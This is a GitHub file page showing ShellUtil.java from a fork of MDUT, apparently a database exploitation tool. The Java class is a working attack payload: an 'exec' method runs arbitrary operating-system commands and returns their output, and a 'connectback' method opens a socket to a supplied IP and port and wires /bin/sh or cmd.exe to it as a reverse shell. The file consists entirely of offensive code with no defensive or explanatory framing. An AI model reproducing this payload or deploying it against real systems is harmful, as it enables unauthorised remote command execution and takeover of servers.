forked from SafeGroceryStore/MDUT
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathShellUtil.java
105 lines (102 loc) · 3.56 KB
/
ShellUtil.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import java.io.*;
import java.net.Socket;
public class ShellUtil extends Object{
public static String run(String methodName, String params, String encoding) {
String res = "";
if (methodName.equals("exec")) {
res = ShellUtil.exec(params, encoding);
}else if (methodName.equals("connectback")) {
String ip = params.substring(0, params.indexOf("^"));
String port = params.substring(params.indexOf("^") + 1);
res = ShellUtil.connectBack(ip, Integer.parseInt(port));
}
else {
res = "unkown methodName";
}
return res;
}
public static String exec(String command,String encoding) {
StringBuffer result = new StringBuffer();
BufferedReader br = null;
InputStreamReader isr = null;
InputStream fis = null;
Process p = null;
if (encoding == null || encoding.equals("")) {
encoding = "utf-8";
}
try {
p = Runtime.getRuntime().exec(command);
p.waitFor();
if (p.exitValue() == 0) {
fis = p.getInputStream();
} else {
fis = p.getErrorStream();
}
isr = new InputStreamReader(fis,encoding);
br = new BufferedReader(isr);
String line = null;
while ((line = br.readLine()) != null) {
result.append(line + "\n");
}
} catch (Exception e) {
result.append(e.getMessage());
}finally {
try {
br.close();
isr.close();
p.destroy();
} catch (IOException e) {
result.append(e.getMessage());
}
}
return result.toString();
}
public static String connectBack(String ip, int port) {
class StreamConnector extends Thread {
InputStream sp;
OutputStream gh;
StreamConnector(InputStream sp, OutputStream gh) {
this.sp = sp;
this.gh = gh;
}
@Override
public void run() {
BufferedReader xp = null;
BufferedWriter ydg = null;
try {
xp = new BufferedReader(new InputStreamReader(this.sp));
ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
char buffer[] = new char[8192];
int length;
while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
ydg.write(buffer, 0, length);
ydg.flush();
}
} catch (Exception e) {}
try {
if (xp != null) {
xp.close();
}
if (ydg != null) {
ydg.close();
}
} catch (Exception e) {
}
}
}
try {
String sp;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
sp = new String("/bin/sh");
} else {
sp = new String("cmd.exe");
}
Socket sk = new Socket(ip, port);
Process ps = Runtime.getRuntime().exec(sp);
(new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start();
(new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start();
} catch (Exception e) {
}
return "^OK^";
}
}